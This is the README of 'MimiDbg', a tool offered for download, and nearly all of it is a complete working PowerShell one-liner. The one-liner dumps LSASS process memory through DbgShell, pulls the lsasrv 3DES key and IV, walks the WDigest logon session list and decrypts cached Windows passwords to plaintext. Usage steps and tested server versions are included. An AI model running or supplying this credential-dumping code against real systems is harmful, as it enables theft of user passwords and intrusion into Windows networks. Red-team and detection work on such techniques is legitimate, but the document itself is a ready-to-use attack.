About MimiDbg

MimiDbg is a PowerShell oneliner that leverages the Microsoft tools "DbgShell". DbgShell is a PowerShell front-end for the Windows debugger engine. You can find DbgShell here

MimiDbg uses PowerMemory concept to retrieve Wdigest passwords from the memory.

How to use it?

1. Download the project.
2. Unzip it in c:\temp.
3. Open a command prompt.
4. Type:

cd c:\temp\DbgShell\x64

5. Run the following oneliner:

DbgShell.exe $process = Get-Process lsass;$ok=0;$windowsErrorReporting = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$windowsErrorReportingNativeMethods = $windowsErrorReporting.GetNestedType('NativeMethods', 'NonPublic');$flags = [Reflection.BindingFlags] 'NonPublic, Static';$miniDumpWriteDump = $windowsErrorReportingNativeMethods.GetMethod('MiniDumpWriteDump', $flags);$miniDumpWithFullMemory = [UInt32] 2;$processId = $process.Id;$processName = $process.Name;$processHandle = $process.Handle;$processDumpPath = 'C:\Users\Public\Downloads\juice';$fileStream = New-Object IO.FileStream($processDumpPath, [IO.FileMode]::Create);try{$result = $miniDumpWriteDump.Invoke($null, @($processHandle,$processId,$fileStream.SafeFileHandle,$miniDumpWithFullMemory,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));if(!$result) {$fileStream.Close();}$fileStream.Close();$ok=1;}catch{$_.Exception();$fileStream.Close();}Mount-DbgDumpFile -DumpFile $processDumpPath;$faObj = dd lsasrv!h3DesKey;$sa = '{0:x8}' -f $faObj.Item(1) + '{0:x8}' -f $faObj.Item(0);$saObj = dd $sa;$ta = '{0:x8}' -f $saObj.Item(5) + '{0:x8}' -f $saObj.Item(4);$h3Des = db $ta;$k = '0x{0:x}' -f $h3Des.Item(60) + ', 0x{0:x}' -f $h3Des.Item(61) + ', 0x{0:x}' -f $h3Des.Item(62) + ', 0x{0:x}' -f $h3Des.Item(63) + ', 0x{0:x}' -f $h3Des.Item(64) + ', 0x{0:x}' -f $h3Des.Item(65) + ', 0x{0:x}' -f $h3Des.Item(66) + ', 0x{0:x}' -f $h3Des.Item(67) + ', 0x{0:x}' -f $h3Des.Item(68) + ', 0x{0:x}' -f $h3Des.Item(69) + ', 0x{0:x}' -f $h3Des.Item(70) + ', 0x{0:x}' -f $h3Des.Item(71) + ', 0x{0:x}' -f $h3Des.Item(72) + ', 0x{0:x}' -f $h3Des.Item(73) + ', 0x{0:x}' -f $h3Des.Item(74) + ', 0x{0:x}' -f $h3Des.Item(75) + ', 0x{0:x}' -f $h3Des.Item(76) + ', 0x{0:x}' -f $h3Des.Item(77) + ', 0x{0:x}' -f $h3Des.Item(78) + ', 0x{0:x}' -f $h3Des.Item(79) + ', 0x{0:x}' -f $h3Des.Item(80) + ', 0x{0:x}' -f $h3Des.Item(81) + ', 0x{0:x}' -f $h3Des.Item(82) + ', 0x{0:x}' -f $h3Des.Item(83);$iv = db lsasrv!InitializationVector;$iv = '0x{0:x}' -f $iv.Item(0) + ', 0x{0:x}' -f $iv.Item(1) + ', 0x{0:x}' -f $iv.Item(2) + ', 0x{0:x}' -f $iv.Item(3) + ', 0x{0:x}' -f $iv.Item(4) + ', 0x{0:x}' -f $iv.Item(5) + ', 0x{0:x}' -f $iv.Item(6) + ', 0x{0:x}' -f $iv.Item(7);$lsObj = dd wdigest!l_LogSessList;$lsf = '{0:x8}' -f $lsObj.Item(1) + '{0:x8}' -f $lsObj.Item(0);$nextEntry = '';$i = 0;$lsfEntry = $lsf;while ($lsfEntry -ne $nextEntry) {if($i -eq 0) {$lsfObj = dd $lsf;$sizeObj = db $lsf;$nextEntry = '{0:x8}' -f $lsfObj.Item(1) + '{0:x8}' -f $lsfObj.Item(0);$i = 1;}else {$lsfObj = dd $nextEntry;$sizeObj = db $lsf;$nextEntry = '{0:x8}' -f $lsfObj.Item(1) + '{0:x8}' -f $lsfObj.Item(0);}$t = '{0:x8}' -f $lsfObj.Item(15) + '{0:x8}' -f $lsfObj.Item(14);du $t;$sizeObj = db $lsf;$L = '{0:x}' -f $sizeObj.Item(82);$juice = '{0:x8}' -f $lsfObj.Item(23) + '{0:x8}' -f $lsfObj.Item(22);$juiceObj = db $juice L$L;$tot = [System.Convert]::ToInt32($L,16);$phex = '';for($i=0;$i -lt $tot;$i++) {if($i -ne 0) {$phex += ', 0x{0:x2}' -f $juiceObj.Item($i);}else {$phex = '0x{0:x2}' -f $juiceObj.Item($i);}}$password = $phex;$key=$k;$initializationVector=$iv;try{$arrayPassword = $password -split ', ';$passwordByte = @();foreach($ap in $arrayPassword){$passwordByte += [System.Convert]::ToByte($ap,16);}$arrayKey = $key -split ', ';$keyByte = @();foreach($ak in $arrayKey){$keyByte += [System.Convert]::ToByte($ak,16);}$arrayInitializationVector = $initializationVector -split ', ';$initializationVectorByte = @();foreach($aiv in $arrayInitializationVector){$initializationVectorByte += [System.Convert]::ToByte($aiv,16);}$TripleDES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;$TripleDES.IV = $initializationVectorByte;$TripleDES.Key = $keyByte;$TripleDES.Mode = [System.Security.Cryptography.CipherMode]::CBC;$TripleDES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$decryptorObject = $TripleDES.CreateDecryptor();[byte[]] $outBlock = $decryptorObject.TransformFinalBlock($passwordByte, 0 , $passwordByte.Length);$TripleDES.Clear();Write-Output ([System.Text.UnicodeEncoding]::Unicode.GetString($outBlock));}catch {Write-Output '$error[0]';}}

Current Status

MimiDbg has been in my mind for a long time (since DbgShell announcement). The project is still pretty new. However, it can demonstrate what can be accomplished.

Operating System supported

Currently, I tested the oneliner against:

• Windows 2012R2 - 64-bit
• Windows 2016 - 64-bit

Credential Guard

Look here for more information about Credential Guard